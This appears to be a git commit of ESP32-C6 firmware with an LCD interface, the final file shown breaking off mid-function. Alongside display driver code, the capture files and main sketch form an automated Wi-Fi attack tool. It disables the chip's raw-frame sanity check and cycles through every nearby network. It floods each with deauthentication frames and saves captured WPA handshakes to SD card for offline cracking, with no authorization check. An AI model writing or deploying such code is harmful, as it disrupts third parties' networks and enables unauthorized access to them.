Initial commit: handshake capture firmware for ESP32-C6 1.47" LCD
Made-with: Cursor
This commit is contained in:
@@ -0,0 +1,243 @@
|
||||
#include "Display_ST7789.h"
|
||||
|
||||
#define SPI_WRITE(_dat) SPI.transfer(_dat)
|
||||
#define SPI_WRITE_Word(_dat) SPI.transfer16(_dat)
|
||||
void SPI_Init()
|
||||
{
|
||||
SPI.begin(EXAMPLE_PIN_NUM_SCLK,EXAMPLE_PIN_NUM_MISO,EXAMPLE_PIN_NUM_MOSI);
|
||||
}
|
||||
|
||||
void LCD_WriteCommand(uint8_t Cmd)
|
||||
{
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, LOW);
|
||||
SPI_WRITE(Cmd);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
}
|
||||
void LCD_WriteData(uint8_t Data)
|
||||
{
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
|
||||
SPI_WRITE(Data);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
}
|
||||
void LCD_WriteData_Word(uint16_t Data)
|
||||
{
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
|
||||
SPI_WRITE_Word(Data);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
}
|
||||
void LCD_WriteData_nbyte(uint8_t* SetData,uint8_t* ReadData,uint32_t Size)
|
||||
{
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
|
||||
SPI.transferBytes(SetData, ReadData, Size);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
}
|
||||
|
||||
void LCD_Reset(void)
|
||||
{
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
delay(50);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_RST, LOW);
|
||||
delay(50);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_RST, HIGH);
|
||||
delay(50);
|
||||
}
|
||||
void LCD_Init(void)
|
||||
{
|
||||
pinMode(EXAMPLE_PIN_NUM_LCD_CS, OUTPUT);
|
||||
pinMode(EXAMPLE_PIN_NUM_LCD_DC, OUTPUT);
|
||||
pinMode(EXAMPLE_PIN_NUM_LCD_RST, OUTPUT);
|
||||
Backlight_Init();
|
||||
SPI_Init();
|
||||
|
||||
LCD_Reset();
|
||||
//************* Start Initial Sequence **********//
|
||||
LCD_WriteCommand(0x11);
|
||||
delay(120);
|
||||
LCD_WriteCommand(0x36);
|
||||
if (HORIZONTAL)
|
||||
LCD_WriteData(0x00);
|
||||
else
|
||||
LCD_WriteData(0x70);
|
||||
|
||||
LCD_WriteCommand(0x3A);
|
||||
LCD_WriteData(0x05);
|
||||
|
||||
LCD_WriteCommand(0xB0);
|
||||
LCD_WriteData(0x00);
|
||||
LCD_WriteData(0xE8);
|
||||
|
||||
LCD_WriteCommand(0xB2);
|
||||
LCD_WriteData(0x0C);
|
||||
LCD_WriteData(0x0C);
|
||||
LCD_WriteData(0x00);
|
||||
LCD_WriteData(0x33);
|
||||
LCD_WriteData(0x33);
|
||||
|
||||
LCD_WriteCommand(0xB7);
|
||||
LCD_WriteData(0x35);
|
||||
|
||||
LCD_WriteCommand(0xBB);
|
||||
LCD_WriteData(0x35);
|
||||
|
||||
LCD_WriteCommand(0xC0);
|
||||
LCD_WriteData(0x2C);
|
||||
|
||||
LCD_WriteCommand(0xC2);
|
||||
LCD_WriteData(0x01);
|
||||
|
||||
LCD_WriteCommand(0xC3);
|
||||
LCD_WriteData(0x13);
|
||||
|
||||
LCD_WriteCommand(0xC4);
|
||||
LCD_WriteData(0x20);
|
||||
|
||||
LCD_WriteCommand(0xC6);
|
||||
LCD_WriteData(0x0F);
|
||||
|
||||
LCD_WriteCommand(0xD0);
|
||||
LCD_WriteData(0xA4);
|
||||
LCD_WriteData(0xA1);
|
||||
|
||||
LCD_WriteCommand(0xD6);
|
||||
LCD_WriteData(0xA1);
|
||||
|
||||
LCD_WriteCommand(0xE0);
|
||||
LCD_WriteData(0xF0);
|
||||
LCD_WriteData(0x00);
|
||||
LCD_WriteData(0x04);
|
||||
LCD_WriteData(0x04);
|
||||
LCD_WriteData(0x04);
|
||||
LCD_WriteData(0x05);
|
||||
LCD_WriteData(0x29);
|
||||
LCD_WriteData(0x33);
|
||||
LCD_WriteData(0x3E);
|
||||
LCD_WriteData(0x38);
|
||||
LCD_WriteData(0x12);
|
||||
LCD_WriteData(0x12);
|
||||
LCD_WriteData(0x28);
|
||||
LCD_WriteData(0x30);
|
||||
|
||||
LCD_WriteCommand(0xE1);
|
||||
LCD_WriteData(0xF0);
|
||||
LCD_WriteData(0x07);
|
||||
LCD_WriteData(0x0A);
|
||||
LCD_WriteData(0x0D);
|
||||
LCD_WriteData(0x0B);
|
||||
LCD_WriteData(0x07);
|
||||
LCD_WriteData(0x28);
|
||||
LCD_WriteData(0x33);
|
||||
LCD_WriteData(0x3E);
|
||||
LCD_WriteData(0x36);
|
||||
LCD_WriteData(0x14);
|
||||
LCD_WriteData(0x14);
|
||||
LCD_WriteData(0x29);
|
||||
LCD_WriteData(0x32);
|
||||
|
||||
LCD_WriteCommand(0x21);
|
||||
|
||||
LCD_WriteCommand(0x11);
|
||||
delay(120);
|
||||
LCD_WriteCommand(0x29);
|
||||
}
|
||||
/******************************************************************************
|
||||
function: Set the cursor position
|
||||
parameter :
|
||||
Xstart: Start uint16_t x coordinate
|
||||
Ystart: Start uint16_t y coordinate
|
||||
Xend : End uint16_t coordinates
|
||||
Yend : End uint16_t coordinatesen
|
||||
******************************************************************************/
|
||||
void LCD_SetCursor(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend)
|
||||
{
|
||||
if (HORIZONTAL) {
|
||||
// set the X coordinates
|
||||
LCD_WriteCommand(0x2A);
|
||||
LCD_WriteData(Xstart >> 8);
|
||||
LCD_WriteData(Xstart + Offset_X);
|
||||
LCD_WriteData(Xend >> 8);
|
||||
LCD_WriteData(Xend + Offset_X);
|
||||
|
||||
// set the Y coordinates
|
||||
LCD_WriteCommand(0x2B);
|
||||
LCD_WriteData(Ystart >> 8);
|
||||
LCD_WriteData(Ystart + Offset_Y);
|
||||
LCD_WriteData(Yend >> 8);
|
||||
LCD_WriteData(Yend + Offset_Y);
|
||||
}
|
||||
else {
|
||||
// set the X coordinates
|
||||
LCD_WriteCommand(0x2A);
|
||||
LCD_WriteData(Ystart >> 8);
|
||||
LCD_WriteData(Ystart + Offset_Y);
|
||||
LCD_WriteData(Yend >> 8);
|
||||
LCD_WriteData(Yend + Offset_Y);
|
||||
// set the Y coordinates
|
||||
LCD_WriteCommand(0x2B);
|
||||
LCD_WriteData(Xstart >> 8);
|
||||
LCD_WriteData(Xstart + Offset_X);
|
||||
LCD_WriteData(Xend >> 8);
|
||||
LCD_WriteData(Xend + Offset_X);
|
||||
}
|
||||
LCD_WriteCommand(0x2C);
|
||||
}
|
||||
/******************************************************************************
|
||||
function: Refresh the image in an area
|
||||
parameter :
|
||||
Xstart: Start uint16_t x coordinate
|
||||
Ystart: Start uint16_t y coordinate
|
||||
Xend : End uint16_t coordinates
|
||||
Yend : End uint16_t coordinates
|
||||
color : Set the color
|
||||
******************************************************************************/
|
||||
void LCD_addWindow(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend,uint16_t* color)
|
||||
{
|
||||
// uint16_t i,j;
|
||||
// LCD_SetCursor(Xstart, Ystart, Xend,Yend);
|
||||
// uint16_t Show_Width = Xend - Xstart + 1;
|
||||
// uint16_t Show_Height = Yend - Ystart + 1;
|
||||
// for(i = 0; i < Show_Height; i++){
|
||||
// for(j = 0; j < Show_Width; j++){
|
||||
// LCD_WriteData_Word(color[(i*(Show_Width))+j]);
|
||||
// }
|
||||
// }
|
||||
uint16_t Show_Width = Xend - Xstart + 1;
|
||||
uint16_t Show_Height = Yend - Ystart + 1;
|
||||
uint32_t numBytes = Show_Width * Show_Height * sizeof(uint16_t);
|
||||
LCD_SetCursor(Xstart, Ystart, Xend, Yend);
|
||||
LCD_WriteData_nbyte((uint8_t*)color, nullptr, numBytes);
|
||||
}
|
||||
// backlight
|
||||
void Backlight_Init(void)
|
||||
{
|
||||
uint32_t maxDuty = (1u << Resolution) - 1;
|
||||
ledcAttach(EXAMPLE_PIN_NUM_BK_LIGHT, Frequency, Resolution);
|
||||
ledcWrite(EXAMPLE_PIN_NUM_BK_LIGHT, maxDuty);
|
||||
}
|
||||
|
||||
void Set_Backlight(uint8_t Light) //
|
||||
{
|
||||
if(Light > 100)
|
||||
printf("Set Backlight parameters in the range of 0 to 100 \r\n");
|
||||
else{
|
||||
uint32_t maxDuty = (1u << Resolution) - 1;
|
||||
uint32_t duty = (maxDuty * Light) / 100;
|
||||
ledcWrite(EXAMPLE_PIN_NUM_BK_LIGHT, duty);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
#pragma once
|
||||
#include <Arduino.h>
|
||||
#include <SPI.h>
|
||||
#define LCD_WIDTH 172 //LCD width
|
||||
#define LCD_HEIGHT 320 //LCD height
|
||||
|
||||
#define SPIFreq 80000000
|
||||
#define EXAMPLE_PIN_NUM_MISO 5
|
||||
#define EXAMPLE_PIN_NUM_MOSI 6
|
||||
#define EXAMPLE_PIN_NUM_SCLK 7
|
||||
#define EXAMPLE_PIN_NUM_LCD_CS 14
|
||||
#define EXAMPLE_PIN_NUM_LCD_DC 15
|
||||
#define EXAMPLE_PIN_NUM_LCD_RST 21
|
||||
#define EXAMPLE_PIN_NUM_BK_LIGHT 22
|
||||
#define Frequency 1000
|
||||
#define Resolution 10
|
||||
|
||||
#define VERTICAL 0
|
||||
#define HORIZONTAL 1
|
||||
|
||||
#define Offset_X 34
|
||||
#define Offset_Y 0
|
||||
|
||||
|
||||
void LCD_SetCursor(uint16_t x1, uint16_t y1, uint16_t x2,uint16_t y2);
|
||||
|
||||
void LCD_Init(void);
|
||||
void LCD_SetCursor(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend);
|
||||
void LCD_addWindow(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend,uint16_t* color);
|
||||
|
||||
void Backlight_Init(void);
|
||||
void Set_Backlight(uint8_t Light);
|
||||
@@ -0,0 +1,256 @@
|
||||
#include "HandshakeCapture.h"
|
||||
#include "SD_Card.h"
|
||||
#include "LVGL_Driver.h"
|
||||
#include <algorithm>
|
||||
|
||||
// Bypass ESP32 frame sanity check
|
||||
extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Global variables
|
||||
Network networks[20];
|
||||
Network target;
|
||||
bool is_capturing = false;
|
||||
bool with_deauth = false;
|
||||
uint8_t eapol_count = 0;
|
||||
bool beacon_captured = false;
|
||||
uint8_t* pcap_buffer = nullptr;
|
||||
size_t pcap_size = 0;
|
||||
int current_target_index = -1;
|
||||
|
||||
void handshakeCaptureInit() {
|
||||
// Set WiFi mode and enable promiscuous mode
|
||||
WiFi.mode(WIFI_AP_STA);
|
||||
esp_wifi_set_promiscuous(true);
|
||||
esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
|
||||
}
|
||||
|
||||
// Comparison function for sorting networks by RSSI (descending)
|
||||
bool compareRSSI(const Network& a, const Network& b) {
|
||||
return a.rssi > b.rssi;
|
||||
}
|
||||
|
||||
void scanNetworksSortedByRSSI() {
|
||||
// Clear previous scan results
|
||||
memset(networks, 0, sizeof(networks));
|
||||
|
||||
// Perform scan
|
||||
int n = WiFi.scanNetworks(false, true); // async, hidden
|
||||
if (n == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Fill networks array with scanned data (up to 20)
|
||||
int limit = min(n, 20);
|
||||
for (int i = 0; i < limit; i++) {
|
||||
String ssid = WiFi.SSID(i);
|
||||
if (ssid.isEmpty()) {
|
||||
networks[i].ssid = "<HIDDEN>";
|
||||
} else {
|
||||
networks[i].ssid = ssid;
|
||||
}
|
||||
memcpy(networks[i].bssid, WiFi.BSSID(i), 6);
|
||||
networks[i].ch = WiFi.channel(i);
|
||||
networks[i].rssi = WiFi.RSSI(i);
|
||||
|
||||
// Determine encryption type
|
||||
wifi_auth_mode_t encryption = WiFi.encryptionType(i);
|
||||
if (encryption == WIFI_AUTH_OPEN) networks[i].encryption = "Open";
|
||||
else if (encryption == WIFI_AUTH_WEP) networks[i].encryption = "WEP";
|
||||
else if (encryption == WIFI_AUTH_WPA_PSK) networks[i].encryption = "WPA";
|
||||
else if (encryption == WIFI_AUTH_WPA2_PSK) networks[i].encryption = "WPA2";
|
||||
else if (encryption == WIFI_AUTH_WPA_WPA2_PSK) networks[i].encryption = "WPA/WPA2";
|
||||
else if (encryption == WIFI_AUTH_WPA2_ENTERPRISE) networks[i].encryption = "WPA2 Enterprise";
|
||||
else networks[i].encryption = "Unknown";
|
||||
|
||||
networks[i].handshake_captured = false;
|
||||
}
|
||||
|
||||
// Sort by RSSI (strongest first)
|
||||
std::sort(networks, networks + limit, compareRSSI);
|
||||
}
|
||||
|
||||
void setTarget(int index) {
|
||||
if (index >= 0 && index < 20 && !networks[index].ssid.isEmpty()) {
|
||||
target = networks[index];
|
||||
current_target_index = index;
|
||||
}
|
||||
}
|
||||
|
||||
int getCurrentTargetIndex() {
|
||||
return current_target_index;
|
||||
}
|
||||
|
||||
bool isHandshakeCaptured(int index) {
|
||||
if (index >= 0 && index < 20) {
|
||||
return networks[index].handshake_captured;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void markHandshakeCaptured(int index) {
|
||||
if (index >= 0 && index < 20) {
|
||||
networks[index].handshake_captured = true;
|
||||
// Update UI color to red
|
||||
Ui_SetNetworkColor(index, lv_palette_main(LV_PALETTE_RED));
|
||||
}
|
||||
}
|
||||
|
||||
void startCapture(bool deauth) {
|
||||
if (target.ssid.isEmpty()) {
|
||||
return;
|
||||
}
|
||||
if (is_capturing) {
|
||||
return;
|
||||
}
|
||||
pcapInit();
|
||||
handshake_captured = false;
|
||||
beacon_captured = false;
|
||||
eapol_count = 0;
|
||||
with_deauth = deauth;
|
||||
is_capturing = true;
|
||||
|
||||
// Set to target channel
|
||||
esp_wifi_set_channel(target.ch, WIFI_SECOND_CHAN_NONE);
|
||||
}
|
||||
|
||||
void stopCapture() {
|
||||
if (!is_capturing) return;
|
||||
|
||||
if (pcap_size > 0) {
|
||||
saveHandshakeToSD();
|
||||
}
|
||||
|
||||
is_capturing = false;
|
||||
with_deauth = false;
|
||||
}
|
||||
|
||||
void saveHandshakeToSD() {
|
||||
// Create filename with timestamp and SSID
|
||||
String timestamp = String(millis() / 1000);
|
||||
String filename = "/handshake_" + target.ssid + "_" + timestamp + ".pcap";
|
||||
filename.replace(" ", "_"); // Remove spaces from filename
|
||||
|
||||
File file = SD.open(filename, FILE_WRITE);
|
||||
if (!file) {
|
||||
Serial.println("Failed to create file on SD");
|
||||
return;
|
||||
}
|
||||
|
||||
if (file.write(pcap_buffer, pcap_size) == pcap_size) {
|
||||
Serial.printf("Handshake saved to %s (%d bytes)\n", filename.c_str(), pcap_size);
|
||||
markHandshakeCaptured(current_target_index);
|
||||
} else {
|
||||
Serial.println("Error writing file to SD");
|
||||
}
|
||||
|
||||
file.close();
|
||||
|
||||
// Clean up
|
||||
free(pcap_buffer);
|
||||
pcap_buffer = nullptr;
|
||||
pcap_size = 0;
|
||||
}
|
||||
|
||||
void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||||
if (!is_capturing) return;
|
||||
|
||||
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
|
||||
uint8_t* payload = pkt->payload;
|
||||
uint16_t len = pkt->rx_ctrl.sig_len;
|
||||
|
||||
if (len < 36) return;
|
||||
|
||||
uint8_t frame_type = payload[0];
|
||||
bool is_beacon = frame_type == 0x80;
|
||||
|
||||
// Capture beacon frame
|
||||
if (is_beacon && !beacon_captured && memcmp(&payload[10], target.bssid, 6) == 0) {
|
||||
Serial.println("Captured beacon frame");
|
||||
beacon_captured = true;
|
||||
pcapAppend(payload, len);
|
||||
return;
|
||||
}
|
||||
|
||||
// Capture EAPOL frames (handshake)
|
||||
if ((frame_type == 0x08 || frame_type == 0x88) &&
|
||||
(memcmp(&payload[10], target.bssid, 6) == 0 || memcmp(&payload[4], target.bssid, 6) == 0)) {
|
||||
|
||||
uint16_t ethertype = (payload[32] << 8) | payload[33];
|
||||
if (ethertype == 0x888E) { // EAPOL
|
||||
eapol_count++;
|
||||
Serial.printf("Captured EAPOL frame %d/4\n", eapol_count);
|
||||
pcapAppend(payload, len);
|
||||
|
||||
if (eapol_count >= 4) {
|
||||
handshake_captured = true;
|
||||
Serial.println("Complete handshake captured!");
|
||||
stopCapture();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void pcapInit() {
|
||||
free(pcap_buffer);
|
||||
pcap_size = sizeof(pcap_global_header_t);
|
||||
pcap_buffer = (uint8_t*)malloc(pcap_size);
|
||||
|
||||
pcap_global_header_t header = {
|
||||
.magic_number = 0xa1b2c3d4,
|
||||
.version_major = 2,
|
||||
.version_minor = 4,
|
||||
.thiszone = 0,
|
||||
.sigfigs = 0,
|
||||
.snaplen = 65535,
|
||||
.network = 105 // LINKTYPE_IEEE802_11
|
||||
};
|
||||
memcpy(pcap_buffer, &header, sizeof(header));
|
||||
}
|
||||
|
||||
void pcapAppend(const uint8_t* frame, size_t len) {
|
||||
if (!frame || len == 0) return;
|
||||
|
||||
pcap_record_header_t rec = {
|
||||
.ts_sec = millis() / 1000,
|
||||
.ts_usec = (millis() % 1000) * 1000,
|
||||
.incl_len = len,
|
||||
.orig_len = len
|
||||
};
|
||||
|
||||
uint8_t* new_buf = (uint8_t*)realloc(pcap_buffer, pcap_size + sizeof(rec) + len);
|
||||
if (!new_buf) return;
|
||||
|
||||
memcpy(new_buf + pcap_size, &rec, sizeof(rec));
|
||||
memcpy(new_buf + pcap_size + sizeof(rec), frame, len);
|
||||
|
||||
pcap_buffer = new_buf;
|
||||
pcap_size += sizeof(rec) + len;
|
||||
}
|
||||
|
||||
void sendDeauth() {
|
||||
if (!is_capturing || !with_deauth) return;
|
||||
|
||||
uint8_t deauth_packet[26] = {
|
||||
0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x01, 0x00
|
||||
};
|
||||
|
||||
// Set BSSID in packet
|
||||
memcpy(&deauth_packet[10], target.bssid, 6);
|
||||
memcpy(&deauth_packet[16], target.bssid, 6);
|
||||
|
||||
// Send packet
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, deauth_packet, sizeof(deauth_packet), false);
|
||||
Serial.println("Sent deauth packet");
|
||||
}
|
||||
|
||||
void handshakeCaptureLoop() {
|
||||
static unsigned long last_deauth = 0;
|
||||
if (is_capturing && with_deauth && millis() - last_deauth > 500) {
|
||||
sendDeauth();
|
||||
last_deauth = millis();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
#pragma once
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <WiFi.h>
|
||||
#include "esp_wifi.h"
|
||||
#include <SD.h>
|
||||
|
||||
// Bypass ESP32 frame sanity check
|
||||
extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
|
||||
|
||||
// PCAP structures
|
||||
typedef struct {
|
||||
uint32_t magic_number;
|
||||
uint16_t version_major;
|
||||
uint16_t version_minor;
|
||||
int32_t thiszone;
|
||||
uint32_t sigfigs;
|
||||
uint32_t snaplen;
|
||||
uint32_t network;
|
||||
} __attribute__((packed)) pcap_global_header_t;
|
||||
|
||||
typedef struct {
|
||||
uint32_t ts_sec;
|
||||
uint32_t ts_usec;
|
||||
uint32_t incl_len;
|
||||
uint32_t orig_len;
|
||||
} __attribute__((packed)) pcap_record_header_t;
|
||||
|
||||
// Network structure
|
||||
typedef struct {
|
||||
String ssid;
|
||||
uint8_t bssid[6];
|
||||
int ch;
|
||||
int rssi;
|
||||
String encryption;
|
||||
bool handshake_captured;
|
||||
} Network;
|
||||
|
||||
// Global variables (extern)
|
||||
extern Network networks[20];
|
||||
extern Network target;
|
||||
extern bool is_capturing;
|
||||
extern bool with_deauth;
|
||||
extern uint8_t eapol_count;
|
||||
extern bool beacon_captured;
|
||||
|
||||
// Functions
|
||||
void handshakeCaptureInit();
|
||||
void scanNetworksSortedByRSSI(); // fills networks array sorted by RSSI
|
||||
void startCapture(bool deauth);
|
||||
void stopCapture();
|
||||
void saveHandshakeToSD();
|
||||
void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
void pcapInit();
|
||||
void pcapAppend(const uint8_t* frame, size_t len);
|
||||
void sendDeauth();
|
||||
void setTarget(int index);
|
||||
int getCurrentTargetIndex();
|
||||
bool isHandshakeCaptured(int index);
|
||||
void markHandshakeCaptured(int index);
|
||||
void handshakeCaptureLoop();
|
||||
@@ -0,0 +1,86 @@
|
||||
#include "Display_ST7789.h"
|
||||
#include "LVGL_Driver.h"
|
||||
#include "WiFi_Scanner.h"
|
||||
#include "SD_Card.h"
|
||||
#include "HandshakeCapture.h"
|
||||
|
||||
// State machine for automatic capture
|
||||
enum CaptureState {
|
||||
STATE_IDLE,
|
||||
STATE_SCANNING,
|
||||
STATE_CAPTURING,
|
||||
STATE_WAITING
|
||||
};
|
||||
|
||||
CaptureState captureState = STATE_IDLE;
|
||||
int current_target_index = -1;
|
||||
unsigned long capture_start_time = 0;
|
||||
const unsigned long CAPTURE_TIMEOUT_MS = 30000; // 30 seconds per network
|
||||
|
||||
void setup()
|
||||
{
|
||||
LCD_Init();
|
||||
Lvgl_Init();
|
||||
SD_Init();
|
||||
WiFiScanner_Init();
|
||||
handshakeCaptureInit();
|
||||
|
||||
// Perform initial scan
|
||||
WiFiScanner_Refresh();
|
||||
captureState = STATE_SCANNING;
|
||||
}
|
||||
|
||||
void loop()
|
||||
{
|
||||
Timer_Loop();
|
||||
handshakeCaptureLoop(); // handle periodic deauth
|
||||
|
||||
switch (captureState) {
|
||||
case STATE_SCANNING:
|
||||
// Find first uncaptured network
|
||||
current_target_index = -1;
|
||||
for (int i = 0; i < 20; i++) {
|
||||
if (networks[i].ssid.isEmpty()) break;
|
||||
if (!networks[i].handshake_captured) {
|
||||
current_target_index = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (current_target_index >= 0) {
|
||||
setTarget(current_target_index);
|
||||
captureState = STATE_CAPTURING;
|
||||
capture_start_time = millis();
|
||||
startCapture(true); // with deauth
|
||||
Ui_SetWifiStatus("Capturing...");
|
||||
} else {
|
||||
// All networks captured
|
||||
Ui_SetWifiStatus("All captured");
|
||||
captureState = STATE_IDLE;
|
||||
}
|
||||
break;
|
||||
|
||||
case STATE_CAPTURING:
|
||||
// Check if handshake captured
|
||||
if (isHandshakeCaptured(current_target_index)) {
|
||||
// Success
|
||||
Ui_SetWifiStatus("Handshake captured");
|
||||
stopCapture();
|
||||
captureState = STATE_SCANNING;
|
||||
// Wait a bit before moving to next
|
||||
delay(2000);
|
||||
} else if (millis() - capture_start_time > CAPTURE_TIMEOUT_MS) {
|
||||
// Timeout
|
||||
Ui_SetWifiStatus("Capture timeout");
|
||||
stopCapture();
|
||||
captureState = STATE_SCANNING;
|
||||
delay(2000);
|
||||
}
|
||||
break;
|
||||
|
||||
case STATE_IDLE:
|
||||
// Do nothing, maybe blink LED
|
||||
break;
|
||||
}
|
||||
|
||||
delay(16);
|
||||
}
|
||||
@@ -0,0 +1,182 @@
|
||||
/*****************************************************************************
|
||||
| File : LVGL_Driver.c
|
||||
|
||||
| help :
|
||||
The provided LVGL library file must be installed first
|
||||
******************************************************************************/
|
||||
#include "LVGL_Driver.h"
|
||||
|
||||
static lv_disp_draw_buf_t draw_buf;
|
||||
static lv_color_t buf1[ LVGL_BUF_LEN ];
|
||||
static lv_color_t buf2[ LVGL_BUF_LEN ];
|
||||
static lv_obj_t *status_label = nullptr;
|
||||
static lv_obj_t *list_label = nullptr; // kept for backward compatibility
|
||||
static lv_obj_t *network_container = nullptr;
|
||||
static lv_obj_t *network_labels[20] = {nullptr};
|
||||
static int network_count = 0;
|
||||
// static lv_color_t* buf1 = (lv_color_t*) heap_caps_malloc(LVGL_BUF_LEN, MALLOC_CAP_SPIRAM);
|
||||
// static lv_color_t* buf2 = (lv_color_t*) heap_caps_malloc(LVGL_BUF_LEN, MALLOC_CAP_SPIRAM);
|
||||
|
||||
|
||||
|
||||
/* Serial debugging */
|
||||
void Lvgl_print(const char * buf)
|
||||
{
|
||||
// Serial.printf(buf);
|
||||
// Serial.flush();
|
||||
}
|
||||
|
||||
void Ui_SetWifiStatus(const char *text)
|
||||
{
|
||||
if (status_label != nullptr) {
|
||||
lv_label_set_text(status_label, text);
|
||||
}
|
||||
}
|
||||
|
||||
void Ui_SetWifiList(const char *text)
|
||||
{
|
||||
if (list_label != nullptr) {
|
||||
lv_label_set_text(list_label, text);
|
||||
}
|
||||
}
|
||||
|
||||
void Ui_ClearNetworkList(void)
|
||||
{
|
||||
if (network_container == nullptr) return;
|
||||
for (int i = 0; i < network_count; i++) {
|
||||
if (network_labels[i] != nullptr) {
|
||||
lv_obj_del(network_labels[i]);
|
||||
network_labels[i] = nullptr;
|
||||
}
|
||||
}
|
||||
network_count = 0;
|
||||
}
|
||||
|
||||
void Ui_AddNetwork(const char* text, int index)
|
||||
{
|
||||
if (network_container == nullptr || index < 0 || index >= 20) return;
|
||||
if (network_labels[index] != nullptr) {
|
||||
lv_label_set_text(network_labels[index], text);
|
||||
return;
|
||||
}
|
||||
lv_obj_t* label = lv_label_create(network_container);
|
||||
lv_label_set_text(label, text);
|
||||
lv_obj_set_style_text_color(label, lv_palette_main(LV_PALETTE_GREEN), 0);
|
||||
lv_obj_set_style_text_font(label, &lv_font_montserrat_12, 0);
|
||||
lv_obj_set_width(label, lv_pct(100));
|
||||
network_labels[index] = label;
|
||||
if (index >= network_count) network_count = index + 1;
|
||||
}
|
||||
|
||||
void Ui_SetNetworkColor(int index, lv_color_t color)
|
||||
{
|
||||
if (index < 0 || index >= 20 || network_labels[index] == nullptr) return;
|
||||
lv_obj_set_style_text_color(network_labels[index], color, 0);
|
||||
}
|
||||
|
||||
void Ui_SetNetworkText(int index, const char* text)
|
||||
{
|
||||
if (index < 0 || index >= 20 || network_labels[index] == nullptr) return;
|
||||
lv_label_set_text(network_labels[index], text);
|
||||
}
|
||||
|
||||
/* Display flushing
|
||||
Displays LVGL content on the LCD
|
||||
This function implements associating LVGL data to the LCD screen
|
||||
*/
|
||||
void Lvgl_Display_LCD( lv_disp_drv_t *disp_drv, const lv_area_t *area, lv_color_t *color_p )
|
||||
{
|
||||
LCD_addWindow(area->x1, area->y1, area->x2, area->y2, ( uint16_t *)&color_p->full);
|
||||
lv_disp_flush_ready( disp_drv );
|
||||
}
|
||||
/*Read the touchpad*/
|
||||
void Lvgl_Touchpad_Read( lv_indev_drv_t * indev_drv, lv_indev_data_t * data )
|
||||
{
|
||||
// NULL
|
||||
}
|
||||
void example_increase_lvgl_tick(void *arg)
|
||||
{
|
||||
/* Tell LVGL how many milliseconds has elapsed */
|
||||
lv_tick_inc(EXAMPLE_LVGL_TICK_PERIOD_MS);
|
||||
}
|
||||
void Lvgl_Init(void)
|
||||
{
|
||||
lv_init();
|
||||
lv_disp_draw_buf_init( &draw_buf, buf1, buf2, LVGL_BUF_LEN);
|
||||
|
||||
/*Initialize the display*/
|
||||
static lv_disp_drv_t disp_drv;
|
||||
lv_disp_drv_init( &disp_drv );
|
||||
/*Change the following line to your display resolution*/
|
||||
disp_drv.hor_res = LVGL_WIDTH;
|
||||
disp_drv.ver_res = LVGL_HEIGHT;
|
||||
disp_drv.flush_cb = Lvgl_Display_LCD;
|
||||
disp_drv.full_refresh = 0;
|
||||
disp_drv.draw_buf = &draw_buf;
|
||||
lv_disp_drv_register( &disp_drv );
|
||||
|
||||
/*Initialize the (dummy) input device driver*/
|
||||
static lv_indev_drv_t indev_drv;
|
||||
lv_indev_drv_init( &indev_drv );
|
||||
indev_drv.type = LV_INDEV_TYPE_POINTER;
|
||||
indev_drv.read_cb = Lvgl_Touchpad_Read;
|
||||
lv_indev_drv_register( &indev_drv );
|
||||
|
||||
lv_obj_set_style_bg_color(lv_scr_act(), lv_color_black(), 0);
|
||||
lv_obj_set_style_bg_opa(lv_scr_act(), LV_OPA_COVER, 0);
|
||||
|
||||
